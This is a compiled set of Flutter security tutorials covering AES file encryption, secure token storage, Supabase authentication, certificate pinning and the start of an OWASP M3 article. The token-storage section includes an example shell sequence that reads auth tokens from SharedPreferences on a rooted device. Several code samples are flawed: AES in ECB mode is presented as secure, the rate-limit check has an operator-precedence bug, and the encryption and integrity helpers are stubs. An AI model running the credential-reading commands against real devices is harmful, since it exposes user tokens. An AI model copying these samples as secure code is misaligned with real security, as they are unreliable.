Symmetric encryption algorithms use only one key to encrypt and decrypt data. Their two main advantages are speed and efficiency, which makes them very advantageous for large volumes of data. One of the most well-known symmetric encryption algorithms on the market is AES, and it is precisely the one we will use in our tutorial.

Our goal, therefore, will be to encrypt the file in which we store the information from the counting app. For this, we will use a package known by the Flutter community, encrypt. It will provide us with the necessary functions to use the AES algorithm.

To get started, we will import the encrypt package.

import 'package:encrypt/encrypt.dart' as encrypt;

Then, we will add a key property to the CounterStorage class; this key will be used to encrypt and decrypt our data.

class CounterStorage {
	String? key
	
	//...

And to generate the key, we can do this using the functions from the encrypt package.

encrypt.Key.fromLength(16).base16

Next, we will create the encryptData function.

Uint8List encryptData(
  String data,
  String keyString,
) {
  final key = encrypt.Key.fromUtf8(keyString);
  final encrypter = encrypt.Encrypter(
    encrypt.AES(
      key,
      mode: encrypt.AESMode.ecb,
    ),
  );
  final encryptedData = encrypter.encrypt(data);

  return encryptedData.bytes;
}

And finally, the decryptData function.

String decryptData(
  Uint8List data,
  String keyString,
) {
  final key = encrypt.Key.fromUtf8(keyString);
  final decrypter = encrypt.Encrypter(
    encrypt.AES(
      key,
      mode: encrypt.AESMode.ecb,
    ),
  );
  final decryptedData = decrypter.decrypt(encrypt.Encrypted(data));

  return decryptedData;
}

Now that we have functions capable of encrypting and decrypting data, the following question arises: if the keys in symmetric encryption are unique, and only the key used for the encryption process is capable of decrypting, how will we store the key in a secure way?

Utilizing Hardware-Based Security

One effective solution is to utilize hardware-based security mechanisms, such as Keychain and Android. They will help us store the cryptographic keys we generate for encrypting our files in a secure location. To integrate our counting app with Keychain or KeyStore, we will need a package capable of bridging with these native operating system technologies, and for this task, we chose flutter_secure_storage.

Returning to the application we are developing, we will add a new property to the CounterStorage class.

class CounterStorage {
  String? key;
  final storage = const FlutterSecureStorage();
  // ...

In addition, we will add one more function: this will be responsible for retrieving from the Keychain or Keystore the key used for encryption, if it exists.

Future<void> retrieveKey() async {
    String? secretKey = await storage.read(
      key: 'crypto_key',
    );

    if (secretKey == null) {
      secretKey = encrypt.Key.fromLength(16).base16;
      await storage.write(
        key: "crypto_key",
        value: secretKey,
      );
    }

    key = secretKey;
  }

In this way, we have implemented a secure data storage solution that ensures the protection of the stored data. The complete code is as follows:

class CounterStorage {
  String? key;
  final storage = const FlutterSecureStorage();

  Future<String> get _localPath async {
    final directory = await getApplicationDocumentsDirectory();

    return directory.path;
  }

  Future<File> get _localFile async {
    final path = await _localPath;
    return File('$path/counter.txt');
  }

  Future<void> retrieveKey() async {
    String? secretKey = await storage.read(
      key: 'crypto_key',
    );

    if (secretKey == null) {
      secretKey = encrypt.Key.fromLength(16).base16;
      await storage.write(
        key: "crypto_key",
        value: secretKey,
      );
    }

    key = secretKey;
  }

  Future<int> readCounter() async {
    await retrieveKey();
    try {
      final file = await _localFile;
      // Read the file
      final contents = await file.readAsBytes();

      return int.parse(decryptData(contents, key.toString()));
    } catch (e) {
      // If encountering an error, return 0
      return 0;
    }
  }

  Future<File> writeCounter(int counter) async {
    final file = await _localFile;

    final encryptedData = encryptData('$counter', key.toString());
    // Write the file
    return file.writeAsBytes(encryptedData);
  }

  Uint8List encryptData(
    String data,
    String keyString,
  ) {
    final key = encrypt.Key.fromUtf8(keyString);
    final encrypter = encrypt.Encrypter(
      encrypt.AES(
        key,
        mode: encrypt.AESMode.ecb,
      ),
    );
    final encryptedData = encrypter.encrypt(data);

    return encryptedData.bytes;
  }

  String decryptData(
    Uint8List data,
    String keyString,
  ) {
    final key = encrypt.Key.fromUtf8(keyString);
    final decrypter = encrypt.Encrypter(
      encrypt.AES(
        key,
        mode: encrypt.AESMode.ecb,
      ),
    );
    final decryptedData = decrypter.decrypt(encrypt.Encrypted(data));

    return decryptedData;
  }
}

An extra layer of security with RASP

To boost the security of your applications even more, we have decided to introduce another concept in this article: RASP (Runtime Application Self-Protection). This technology helps us create security strategies based on the context in which the application is running. Through various real-time security checks, RASP can identify changes in the devices used to run the application or modifications to the application itself.

To implement RASP in Flutter applications, we recommend using freeRASP, as it offers a comprehensive range of security checks, including:

  • Detection of VPN usage;

  • Identification of developer mode enabled on the device;

  • Checking for special permissions, such as root or jailbreak;

  • Detection of execution on simulators;

  • Verification of installations from unofficial app stores, ensuring the application's legitimate origin;

Additionally, when any security violation is detected, freeRASP allows you to implement countermeasures through a fallback mechanism, ensuring your application responds appropriately to potential threats. It also offers the option to receive weekly security reports via email, providing valuable insights.

In the counter app example, freeRASP could be used to delete any data stored in the application or even close the app upon identifying whether the user's device has root or jailbreak. This would help prevent unauthorized access to the data and ensure that the application runs only on secure devices.

If you are interested in freeRASP and want to learn how to implement it in your applications, we recommend taking a look at the official website of Talsec, the company's owner of this project.

Conclusion

Sensitive data is present in all applications, whether it's credit card information, user tokens, or other types of confidential information. It is important to emphasize that security is an ongoing process. In this article, we explored some security concepts, such as Cryptography, Access Control, Hardware-Based Security, and RASP, and how they assist us on the journey to make our application environments increasingly secure.

As developers, we must always prioritize best practices in data security and stay attentive to the latest updates of our environment and possible vulnerabilities, continuously strengthening the strategies we adopt in our applications.

We encourage you to implement the strategies discussed in this article and to continue delving into topics related to data storage insecurity. If you have comments about this article, we would be happy to receive an email from you.

Majid Hajian - Azure & AI advocate@Microsoft, Dart & Flutter community leader, Organizer@FlutterVikings, http://flutterengineering.io author

https://x.com/mhadaily

Cover

Majid Hajian - Azure & AI advocate@Microsoft, Dart & Flutter community leader, Organizer@FlutterVikings, http://flutterengineering.io author

https://x.com/mhadaily

Cover
source
this video
source

Lucas Oliveira

A Brazilian Software Engineer specializing in native Apple technologies and Flutter development. Skilled in project leadership, open-source contributions, and developer mentorship. LinkedIn and Github

Cover

User Authentication Risks Coverage in Flutter Mobile Apps | TALSEE

Dive into our full guide as Himesh Panchal walks you through creating a robust and secure authentication flow!

Authentication vulnerabilities remain one of the most critical security concerns in mobile application development. When building Flutter applications, developers often overlook crucial security aspects while integrating third-party authentication providers.

The combined total of apps in the Apple App Store and Google Play Store has surpassed 6 million, but a startling 75% of these apps have at least one security flaw, highlighting the widespread vulnerability in mobile app ecosystems.

The Stakes: Beyond Basic Authentication

Mobile authentication attacks have evolved beyond simple credential theft. Modern attack vectors target the entire authentication flow, from initial user input to session management. A compromised authentication system doesn't just expose user credentials - it potentially compromises your entire API surface area.

Consider this scenario: An attacker extracts an improperly stored refresh token from a jailbroken device. Even with perfect password security and MFA implementation, this single vulnerability allows indefinite API access through token refresh mechanisms.

While providers like Firebase, Supabase, and Auth0 implement encryption to safeguard user data. providers manage backend security, developers must ensure secure practices in their apps to eliminate vulnerabilities. The post will provide actionable insights on encryption, secure token storage, and robust communication strategies for Flutter apps.

Understanding user flow from login / logout

The authentication flow in a Flutter application represents a complex sequence of security-critical operations. Each step presents unique vulnerabilities that malicious actors can exploit. Let's analyse the complete flow, focusing on security implications at each stage.

Security Checkpoints

  1. Launch the App: The app initializes and prepares the login screen. At this stage, failing to sanitize inputs or enforce app integrity checks could expose the app to tampering.

  2. Input Validation: Users enter their credentials. Weak validation can allow injection attacks or malformed inputs.

  3. Initiate Login Request: The app sends credentials to the server. Without secure communication channels, credentials may be intercepted.

  4. Receive Authentication Response: A successful response contains tokens; insecure handling can lead to theft or misuse.

  5. Token Management: Tokens need secure storage and monitoring for expiration. Improper storage can lead to credential exposure.

  6. API Calls and Logout: Valid tokens allow API access, while the logout process ensures no lingering session data exists.

Implementing a secure auth flow

JWT (JSON Web Tokens) is a compact, URL-safe way to securely transmit information between two parties as a JSON object. It’s commonly used for authentication and information exchange. A JWT is composed of three parts:

  1. Header: Specifies the token type (JWT) and the signing algorithm (e.g., HS256).

  2. Payload: Contains the claims (data like user info or permissions). Claims can be public, private, or registered (e.g., iss, exp).

  3. Signature: Ensures the token’s integrity using the header, payload, and a secret or public/private key.

JWTs are signed, not encrypted, making them verifiable but not inherently confidential. They’re ideal for stateless authentication and are often used in APIs, enabling secure communication without server-side storage.

JSON Web Tokens form the backbone of modern authentication systems. Their structure requires careful handling and validation:

Before we dive into the implementation, let's set up our project with the necessary dependencies. Add these to your pubspec.yaml:

dependencies:
  flutter:
    sdk: flutter
  supabase_flutter: ^1.10.25  # For authentication
  flutter_secure_storage: ^9.0.0  # For secure token storage
  provider: ^6.1.1  # For state management
  freerasp: ^6.0.0  # For security checks

1. Setting Up Security Service

The Security Service acts as your application's first line of defense. It continuously monitors the device environment and enforces security policies. This service helps protect your app against:

  • Device Tampering: Detects rooted (Android) or jailbroken (iOS) devices

  • Development Tools: Identifies debugging attempts and emulator usage

  • Runtime Threats: Monitors for malicious hooks and code modifications

  • Brute Force Attacks: Implements rate limiting to prevent repeated login attempts

The service uses freeRASP for device integrity checks and maintains an in-memory store of failed login attempts. When security violations are detected, it notifies the UI layer to take appropriate action.

The security service monitors device integrity and manages rate limiting. Create lib/services/security_service.dart:

import 'package:flutter/foundation.dart';
import 'package:freerasp/freerasp.dart';

class SecurityService extends ChangeNotifier {
  bool _isJailbroken = false;
  bool _isEmulator = false;
  bool _isDebuggerAttached = false;
  bool _isHooked = false;
  bool _isAppTampered = false;
  
  final Map<String, int> _failedAttempts = {};
  final int _maxAttempts = 5;
  
  late TalsecConfig _config;
  late ThreatCallback _callback;

  SecurityService() {
    _initConfig();
    _initCallback();
    _initSecurity();
  }

  bool get isDeviceSecure => !_isJailbroken && 
                           !_isEmulator && 
                           !_isDebuggerAttached && 
                           !_isHooked && 
                           !_isAppTampered;

  void _initConfig() {
    _config = TalsecConfig(
      androidConfig: AndroidConfig(
        packageName: 'your.package.name',
        signingCertHashes: ['your_cert_hash'],
        supportedStores: ['com.android.vending'],
      ),
      iosConfig: IOSConfig(
        bundleIds: ['your.bundle.id'],
        teamId: 'YOUR_TEAM_ID',
      ),
      watcherMail: '[email protected]',
      isProd: !kDebugMode,
    );
  }

  // Rate limiting methods
  bool checkRateLimit(String identifier) {
    return _failedAttempts[identifier] ?? 0 < _maxAttempts;
  }

  void incrementFailedAttempt(String identifier) {
    _failedAttempts[identifier] = (_failedAttempts[identifier] ?? 0) + 1;
  }

  void resetFailedAttempts(String identifier) {
    _failedAttempts.remove(identifier);
  }
}

2. Implementing Token Management

  • Why Secure Token Storage Matters

    Authentication tokens are like digital keys to your application. Without proper lifecycle management, these keys could become a security liability. Let's understand why token management is crucial and how we've implemented it.

    • Understanding the Risks

      If an attacker obtains a token stored in plain text or one that never expires, they could potentially access a user's account indefinitely. Additionally, without proper refresh mechanisms, users might experience frequent, frustrating logouts.

    Here's how tokens are often stored insecurely using SharedPreferences:

class InsecureTokenStorage {
  static const _tokenKey = 'auth_token';
  
  Future<void> storeToken(String token) async {
    final prefs = await SharedPreferences.getInstance();
    await prefs.setString(_tokenKey, token);
  }

  Future<String?> getToken() async {
    final prefs = await SharedPreferences.getInstance();
    return prefs.getString(_tokenKey);
  }
}

Security Vulnerabilities

  1. Easy Extraction:

    • On rooted/jailbroken devices, attackers can directly read SharedPreferences files

    • Tokens are stored in plain text at /data/data/your.package.name/shared_prefs/your_prefs.xml

  2. Example Attack Scenario:

# On a rooted Android device
adb shell
su
cd /data/data/your.package.name/shared_prefs
cat your_prefs.xml
# Output might look like:
# <?xml version='1.0' encoding='utf-8' standalone='yes' ?>
# <map>
#   <string name="auth_token">eyJhbGciOiJIUzI1NiIs...</string>
# </map>

Implementing Secure Token Storage

Now that we understand the risks, let's implement a secure solution using flutter_secure_storage

The Token Service handles the secure storage and lifecycle management of authentication tokens. It's designed to:

  • Secure Storage: Use platform-specific encryption (EncryptedSharedPreferences for Android, Keychain for iOS)

  • Auto-Refresh: Proactively refresh tokens before expiration to maintain session continuity

  • Clean Lifecycle: Properly handle token storage, updates, and deletion

  • Error Recovery: Implement fallback mechanisms for token refresh failures

This service ensures that sensitive authentication data is never exposed in plain text and maintains secure session state across app launches.

Create lib/services/token_service.dart for secure token storage:

import 'package:flutter_secure_storage/flutter_secure_storage.dart';
import 'dart:async';

class TokenService {
  final _storage = const FlutterSecureStorage();
  Timer? _refreshTimer;
  Function(String)? onTokenRefreshNeeded;

  Future<void> storeTokens(Map<String, String> tokens) async {
    await _storage.write(
      key: 'access_token',
      value: tokens['access_token'],
      aOptions: _getAndroidOptions(),
      iOptions: _getIOSOptions(),
    );
    
    await _storage.write(
      key: 'refresh_token',
      value: tokens['refresh_token'],
      aOptions: _getAndroidOptions(),
      iOptions: _getIOSOptions(),
    );

    _scheduleTokenRefresh();
  }

  AndroidOptions _getAndroidOptions() => const AndroidOptions(
    encryptedSharedPreferences: true,
  );

  IOSOptions _getIOSOptions() => const IOSOptions(
    accessibility: KeychainAccessibility.first_unlock,
  );

  void _scheduleTokenRefresh() {
    _refreshTimer?.cancel();
    _refreshTimer = Timer(const Duration(minutes: 55), () {
      if (onTokenRefreshNeeded != null) {
        getRefreshToken().then((token) {
          if (token != null) onTokenRefreshNeeded!(token);
        });
      }
    });
  }
}

3. Supabase Authentication Service

This service integrates Supabase authentication with our security layers. It implements:

  • PKCE Flow: Uses Proof Key for Code Exchange for enhanced security

  • Session Management: Maintains and validates authentication state

  • Token Handling: Coordinates with TokenService for secure storage

  • Error Management: Provides structured error handling for auth operations

  • State Recovery: Implements session recovery after app restarts

The service acts as a bridge between Supabase's authentication system and our custom security implementations.

Create lib/services/supabase_auth_service.dart:

import 'package:flutter/foundation.dart';
import 'package:supabase_flutter/supabase_flutter.dart';
import 'token_service.dart';

class SupabaseAuthService extends ChangeNotifier {
  late final SupabaseClient _supabaseClient;
  final TokenService _tokenService = TokenService();
  bool _initialized = false;

  Future<void> initialize() async {
    await Supabase.initialize(
      url: 'YOUR_SUPABASE_URL',
      anonKey: 'YOUR_ANON_KEY',
      authOptions: const FlutterAuthClientOptions(
        authFlowType: AuthFlowType.pkce,
        autoRefreshToken: true,
      ),
    );
    
    _supabaseClient = Supabase.instance.client;
    _initialized = true;

    // Listen to auth state changes
    _supabaseClient.auth.onAuthStateChange.listen(_handleAuthStateChange);
    
    await _recoverSession();
    notifyListeners();
  }

  Future<AuthResponse> login({
    required String email,
    required String password,
  }) async {
    try {
      final response = await _supabaseClient.auth.signInWithPassword(
        email: email,
        password: password,
      );
      notifyListeners();
      return response;
    } catch (e) {
      throw _handleAuthException(e);
    }
  }
}

4. User Interface Implementation

Create lib/screens/login_screen.dart:

class LoginScreen extends StatefulWidget {
  @override
  _LoginScreenState createState() => _LoginScreenState();
}

class _LoginScreenState extends State<LoginScreen> {
  final _formKey = GlobalKey<FormState>();
  final _emailController = TextEditingController();
  final _passwordController = TextEditingController();
  bool _isLoading = false;

  Future<void> _handleLogin() async {
    final securityService = Provider.of<SecurityService>(context, listen: false);
    final email = _emailController.text.trim();

    // Security checks
    if (!securityService.isDeviceSecure) {
      _showSecurityWarning();
      return;
    }

    // Rate limiting
    if (!securityService.checkRateLimit(email)) {
      _showRateLimitWarning();
      return;
    }

    if (_formKey.currentState!.validate()) {
      setState(() => _isLoading = true);
      try {
        final success = await context.read<AuthService>().login(
          email,
          _passwordController.text,
        );

        if (!success && mounted) {
          securityService.incrementFailedAttempt(email);
          ScaffoldMessenger.of(context).showSnackBar(
            const SnackBar(content: Text('Login failed')),
          );
        } else {
          securityService.resetFailedAttempts(email);
        }
      } finally {
        if (mounted) setState(() => _isLoading = false);
      }
    }
  }

  @override
  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(title: const Text('Secure Login')),
      body: Consumer<SecurityService>(
        builder: (context, security, _) => Column(
          children: [
            if (!security.isDeviceSecure)
              SecurityWarningBanner(),
            LoginForm(
              formKey: _formKey,
              emailController: _emailController,
              passwordController: _passwordController,
              isLoading: _isLoading,
              onLogin: _handleLogin,
            ),
          ],
        ),
      ),
    );
  }
}

5. App Initialization and Integration

The initialization phase is crucial as it sets up the security foundation for your entire application. This phase orchestrates the proper setup and interaction of all security components.

Update your lib/main.dart:

void main() async {
  WidgetsFlutterBinding.ensureInitialized();
  
  final supabaseAuth = SupabaseAuthService();
  await supabaseAuth.initialize();
  
  final authService = AuthService(supabaseAuth: supabaseAuth);
  final securityService = SecurityService();
  
  runApp(
    MultiProvider(
      providers: [
        ChangeNotifierProvider<SupabaseAuthService>(
          create: (_) => supabaseAuth,
        ),
        ChangeNotifierProvider<AuthService>(
          create: (_) => authService..init(),
        ),
        ChangeNotifierProvider<SecurityService>(
          create: (_) => securityService,
        ),
      ],
      child: const MyApp(),
    ),
  );
}

6. Securing Network Communications

While our project uses Supabase's built-in networking, lot of Flutter applications use Dio for HTTP communications. Let's explore how to implement secure networking with Dio.

Imagine sending a postcard versus a sealed letter. HTTP is like a postcard - anyone handling it can read its contents.

Implementing Secure Network Layer

class SecureApiService {
  late Dio _dio;
  final TokenService _tokenService;

  SecureApiService(this._tokenService) {
    _dio = Dio(BaseOptions(
      baseUrl: 'https://api.yourserver.com',
      validateStatus: (status) => status! < 500,
      connectTimeout: const Duration(seconds: 5),
      receiveTimeout: const Duration(seconds: 3),
    ));
    
    _configureSecurityFeatures();
  }

  void _configureSecurityFeatures() {
    // 1. HTTPS Enforcement & Certificate Pinning
    (_dio.httpClientAdapter as DefaultHttpClientAdapter)
        .onHttpClientCreate = (client) {
      SecurityContext context = SecurityContext(withTrustedRoots: true);
      context.setTrustedCertificatesBytes(yourCertBytes);
      
      // Force HTTPS only
      client.badCertificateCallback = 
          (X509Certificate cert, String host, int port) => false;
      
      return client;
    };

    // 2. Request/Response Security
    _dio.interceptors.add(InterceptorsWrapper(
      onRequest: (options, handler) async {
        // Add security headers
        options.headers['X-Security-Header'] = 'value';
        options.headers['X-Request-ID'] = _generateRequestId();
        
        // Encrypt sensitive data if needed
        if (options.data is Map && options.data['sensitive'] != null) {
          options.data['sensitive'] = await _encryptData(options.data['sensitive']);
        }
        
        return handler.next(options);
      },
      onResponse: (response, handler) async {
        // Validate response integrity
        if (!_validateResponseIntegrity(response)) {
          return handler.reject(
            DioError(
              requestOptions: response.requestOptions,
              error: 'Response integrity check failed',
            ),
          );
        }
        return handler.next(response);
      },
    ));

    // 3. Token Management
    _dio.interceptors.add(InterceptorsWrapper(
      onRequest: (options, handler) async {
        final token = await _tokenService.getAccessToken();
        if (token != null) {
          options.headers['Authorization'] = 'Bearer $token';
        }
        return handler.next(options);
      },
      onError: (error, handler) async {
        if (error.response?.statusCode == 401) {
          if (await _refreshToken()) {
            return handler.resolve(await _retryRequest(error.requestOptions));
          }
        }
        return handler.next(error);
      },
    ));
  }

  // Helper methods for security features
  String _generateRequestId() => DateTime.now().millisecondsSinceEpoch.toString();
  
  Future<String> _encryptData(String data) async {
    // Implement your encryption logic
    return data;
  }
  
  bool _validateResponseIntegrity(Response response) {
    // Implement response validation logic
    return true;
  }

  Future<bool> _refreshToken() async {
    try {
      // Implement token refresh logic
      return true;
    } catch (e) {
      return false;
    }
  }

  Future<Response<dynamic>> _retryRequest(RequestOptions requestOptions) async {
    final token = await _tokenService.getAccessToken();
    requestOptions.headers['Authorization'] = 'Bearer $token';
    return _dio.fetch(requestOptions);
  }

  // Handle security errors
  void _handleSecurityError(DioError error) {
    if (error.type == DioErrorType.badCertificate) {
      _logSecurityEvent('Invalid Certificate');
    }
    // Handle other security errors
  }

  void _logSecurityEvent(String event) {
    // Implement security logging
  }
}

7. Unit Testing

  • Authentication testing is crucial for ensuring your security measures work as intended. Our testing approach combines mock generation with comprehensive test scenarios to verify authentication flows, error handling, and security constraints.

  • Setting Up Authentication Tests

    To implement our tests, we need two key files:

    1. auth_test.dart: Contains our test scenarios and implementations

    2. auth_test.mocks.dart: Auto-generated mocks for simulating authentication services

First, ensure you have the required dependencies in your pubspec.yaml:

dev_dependencies:
  flutter_test:
    sdk: flutter
  mockito: ^5.4.4
  build_runner: ^2.4.8
  • Complete Test Implementation

    In our testing setup, we leverage Mockito's powerful code generation capabilities to create mock services. By adding the @GenerateMocks([SupabaseAuthService]) annotation to our test file, we tell Mockito which classes need to be mocked. When we run flutter pub run build_runner build, Mockito automatically generates auth_test.mocks.dart, which contains a sophisticated mock implementation of our SupabaseAuthService.

// auth_test.dart
import 'package:flutter_test/flutter_test.dart';
import 'package:login_app/services/auth_service.dart';
import 'package:login_app/services/supabase_auth_service.dart';
import 'package:mockito/mockito.dart';
import 'package:mockito/annotations.dart';
import 'package:supabase_flutter/supabase_flutter.dart';

import 'auth_test.mocks.dart';

@GenerateMocks([SupabaseAuthService])
void main() {
  group('Authentication Tests', () {
    late MockSupabaseAuthService mockSupabaseAuth;
    late AuthService authService;

    setUp(() {
      mockSupabaseAuth = MockSupabaseAuthService();
      authService = AuthService(supabaseAuth: mockSupabaseAuth);
      
      // Setup default mock behavior
      when(mockSupabaseAuth.isAuthenticated).thenReturn(false);
      when(mockSupabaseAuth.currentUser).thenReturn(null);
    });

    test('Initialize auth service', () async {
      // Arrange
      when(mockSupabaseAuth.initialize()).thenAnswer((_) async => {});

      // Act
      await authService.init();

      // Assert
      verify(mockSupabaseAuth.initialize()).called(1);
    });

    test('Sign in with valid credentials succeeds', () async {
      // Arrange
      final mockUser = User(
        id: 'mock_user_id',
        email: '[email protected]',
        aud: 'authenticated',
        role: 'authenticated',
        createdAt: DateTime.now().toIso8601String(),
        appMetadata: {},
        userMetadata: {},
        phone: '',
      );

      final mockResponse = AuthResponse(
        session: Session(
          accessToken: 'mock_access_token',
          refreshToken: 'mock_refresh_token',
          tokenType: '',
          expiresIn: 3600,
          user: mockUser,
        ),
        user: mockUser,
      );

      when(mockSupabaseAuth.login(
        email: '[email protected]',
        password: 'password123',
      )).thenAnswer((_) async => mockResponse);

      // Act
      final result = await authService.login('[email protected]', 'password123');

      // Assert
      expect(result, true);
      verify(mockSupabaseAuth.login(
        email: '[email protected]',
        password: 'password123',
      )).called(1);
    });

    test('Sign in with invalid credentials fails', () async {
      // Arrange
      when(mockSupabaseAuth.login(
        email: '[email protected]',
        password: 'wrongpass',
      )).thenThrow(Exception('Invalid credentials'));

      // Act
      final result = await authService.login('[email protected]', 'wrongpass');

      // Assert
      expect(result, false);
    });

    test('Sign up with valid data succeeds', () async {
      // Arrange
      final mockUser = User(
        id: 'new_user_id',
        email: '[email protected]',
        aud: 'authenticated',
        role: 'authenticated',
        createdAt: DateTime.now().toIso8601String(),
        appMetadata: {},
        userMetadata: {},
        phone: '',
      );

      final mockResponse = AuthResponse(
        session: Session(
          accessToken: 'mock_access_token',
          refreshToken: 'mock_refresh_token',
          tokenType: '',
          expiresIn: 3600,
          user: mockUser,
        ),
        user: mockUser,
      );

      when(mockSupabaseAuth.signUp(
        email: '[email protected]',
        password: 'newpass123',
      )).thenAnswer((_) async => mockResponse);

      // Act
      final result = await authService.signUp('[email protected]', 'newpass123');

      // Assert
      expect(result, true);
      verify(mockSupabaseAuth.signUp(
        email: '[email protected]',
        password: 'newpass123',
      )).called(1);
    });

    test('Sign out succeeds', () async {
      // Arrange
      when(mockSupabaseAuth.logout())
          .thenAnswer((_) async => {});

      // Act
      await authService.logout();

      // Assert
      verify(mockSupabaseAuth.logout()).called(1);
    });

    test('Check authentication state', () {
      // Initial state
      expect(authService.isAuthenticated, false);

      // Simulate successful login
      when(mockSupabaseAuth.isAuthenticated).thenReturn(true);
      when(mockSupabaseAuth.currentUser).thenReturn(
        User(
          id: 'user_id',
          email: '[email protected]',
          aud: 'authenticated',
          role: 'authenticated',
          createdAt: DateTime.now().toIso8601String(),
          appMetadata: {},
          userMetadata: {},
          phone: '',
        ),
      );
      
      // Verify authenticated state
      expect(authService.isAuthenticated, true);
    });

    test('Password reset request succeeds', () async {
      // Arrange
      when(mockSupabaseAuth.resetPassword('[email protected]'))
          .thenAnswer((_) async => {});

      // Act & Assert
      await expectLater(
        authService.resetPassword('[email protected]'),
        completes,
      );
      verify(mockSupabaseAuth.resetPassword('[email protected]')).called(1);
    });

    test('Password reset request fails', () async {
      // Arrange
      when(mockSupabaseAuth.resetPassword('[email protected]'))
          .thenThrow(Exception('Failed to reset password'));

      // Act & Assert
      expect(
        () => authService.resetPassword('[email protected]'),
        throwsException,
      );
    });
  });
}

Running the Tests

flutter test test/auth_test.dart

The combination of mock generation and comprehensive test scenarios provides confidence in our authentication system's reliability and security.

8. Implementing Multi-Factor Authentication (MFA)

Multi-Factor Authentication strengthens your application's security by requiring multiple forms of verification. Think of it as adding multiple locks to your front door – each additional layer makes unauthorized access significantly more difficult.

MFA relies on a combination of:

  • Knowledge factors (something you know) • Passwords • PIN codes • Security questions

  • Possession factors (something you have) • Mobile devices • Security tokens • Authentication apps

  • Inherence factors (something you are) • Fingerprints • Face recognition • Voice patterns

  • Popular MFA Methods

    • Time-based One-Time Passwords (TOTP)

      TOTP enhances security through authenticator apps that generate temporary codes using time-synchronized algorithms. These codes automatically expire after 30 seconds, providing a secure yet convenient authentication method. The time-sensitive nature ensures that intercepted codes quickly become useless, making it an effective choice for applications requiring strong security.

  • SMS and Email Verification

    • SMS and email verification offer familiar authentication experiences using existing communication channels. While simple to implement and widely accessible, these methods are considered less secure due to potential vulnerabilities like SIM swapping or email compromise. They remain popular for applications where user convenience takes priority over maximum security measures.

Conclusion

Building secure authentication in Flutter requires a careful balance between security and user experience. Throughout this guide, we've explored implementing a authentication system that protects user data without compromising usability.

While our implementation provides a solid foundation for secure authentication, remember that security is not a one-time implementation. Regular reviews and updates of your security measures are essential to maintain strong protection for your users.

The principles and patterns we've discussed serve as a starting point. Your specific application may require additional security measures depending on your use case, user base, and sensitivity of data.

Keep building secure applications, stay informed about emerging security threats, and always prioritise your users' data protection.

written by Himesh Panchal

Sign your app  |  Android Studio  |  Android DevelopersAndroid Developers
Video supplements the article

Himesh Panchal

I’m a passionate web and tech enthusiast who has been working with Flutter since its 1.0. I specialise in optimising mobile app CI/CD workflows and enjoy writing technical articles to share my knowledge with the developer community. When I’m not coding, you’ll likely find me hiking in the mountains and connecting with nature.

Twitter (X), GitHub

Cover
The activity lifecycle  |  Android DevelopersAndroid Developers
Logo

OWASP Top 10 For Flutter – M3: Insecure Authentication and Authorization in Flutter

Welcome back to our series on the OWASP Mobile Top 10 for Flutter developers. We’ve already explored M1: Mastering Credential Security in Flutter and M2: Inadequate Supply Chain Security. Now, we dive into M3: Insecure Authentication and Authorization, a classic yet devastating threat that can quietly unravel even the most polished Flutter apps.In this post, we’ll explain the difference between these two core security pillars and explore how they are implemented (or misimplemented) in Flutter apps while weaving in guidance from OWASP’s Mobile Application Security Verification Standard (MASVS) and real-world attack models

You can also find this topic in my book FlutterEngineering and follow along in my dedicated YouTube playlist if you prefer a more visual walkthrough.

What Is M3, and Why Should Flutter Developers Care?

When building a Flutter app, it's easy to get excited about crafting beautiful interfaces and smooth animations. But beneath the surface of those seamless user experiences lies something far more critical: authentication and authorization. These two processes aren't just technical terminology; they're the protection of your users' identities and the gatekeepers of your data.Authentication ensures users are genuinely who they claim to be, while authorization determines precisely what each authenticated user can and cannot do within your app. Think of authentication as checking IDs at the front door and authorization as ensuring guests don't wander into restricted rooms once inside.

But what happens when these essential controls are weak or poorly implemented? Unfortunately, the consequences are severe and all too common:

  • Malicious users can effortlessly impersonate others, assuming their identities to access sensitive information.

  • Attackers may elevate their privileges, gaining admin-like power to manipulate your app in ways never intended.

  • Confidential user data—from financial details to private messages—could become open to unauthorized eyes.

  • Unsecured transactions could lead to fraudulent actions without the user's knowledge or consent.

  • Worst of all, critical administrative operations could fall into malicious hands, allowing attackers to disrupt or damage your entire system.

Flutter apps, despite their convenience and rapid development cycles, often fall victim to these vulnerabilities because developers may inadvertently make mistakes like:

  • Storing authentication tokens insecurely makes them easy prey on compromised devices.

  • Relying solely on local checks, believing users won’t reverse-engineer or manipulate local logic.

  • Neglecting strong, consistent server-side verification, thus leaving gaps that attackers can exploit.

  • Placing blind trust in user-supplied data for permissions and roles, making privilege escalation trivial.

Adding fuel to the fire, mobile apps frequently require offline functionality, leading developers to handle authentication and authorization locally. This is convenient but also risky. Attackers have near-total control over rooted or jailbroken devices, meaning client-side security alone isn't enough.

Let me show you a typical authorization flow in Flutter:

We will go to each part of this in the following sections. Let's explore.

OWASP’s Perspective to See the Bigger Picture

To put these threats into perspective, OWASP classifies insecure authentication and authorization (M3) as one of the most critical issues facing mobile apps. Attackers targeting M3 vulnerabilities often use automated tools, custom scripts, or malicious software on rooted devices. They bypass client-side protections by directly communicating with backend services, forging user roles, or exploiting hidden API endpoints.For Flutter developers, understanding this bigger picture means recognizing that threats aren't theoretical; they’re driven by real attackers who exploit predictable patterns like weak credential policies, insecure token storage, or insufficient server-side checks. Ignoring these security measures doesn't just risk your data; it can lead to severe legal, financial, and reputational damage.By fully grasping the OWASP threat model, you'll build stronger, more resilient authentication and authorization systems, protecting your Flutter applications from common yet devastating attacks.

The Importance of Server-Side Validation

While client-side validation is essential for enhancing user experience and catching errors early, it cannot be trusted as the sole line of defense. Client-side checks can be bypassed, manipulated, or entirely disabled by attackers using reverse engineering techniques or network interception. This is why server-side validation is non-negotiable when it comes to securing your Flutter app.

Key Reasons to Prioritize Server-Side Validation

  • Bypass Vulnerabilities: Attackers can modify client-side code or intercept requests, rendering any client-side validation ineffective. Server-side checks ensure that every request is verified on a trusted environment.

  • Consistent Enforcement: Server-side validation provides a centralized enforcement point for critical security rules, such as strong password policies, token verification, and role-based access controls. This reduces inconsistencies that might arise when multiple clients handle validation.

  • Mitigation of Automated Attacks: With server-side mechanisms like rate limiting, account lockouts, and detailed logging, you can better detect and mitigate brute-force or credential stuffing attacks that bypass client-side measures.

  • Secure Sensitive Operations: Operations involving sensitive data or administrative functions must always be validated on the server to prevent unauthorized access, even if the user interface hides certain options.

Best Practices for Implementing Server-Side Validation

  • Enforce Data Integrity: Always verify user input, tokens, and permissions on the server, regardless of the client-side checks performed.

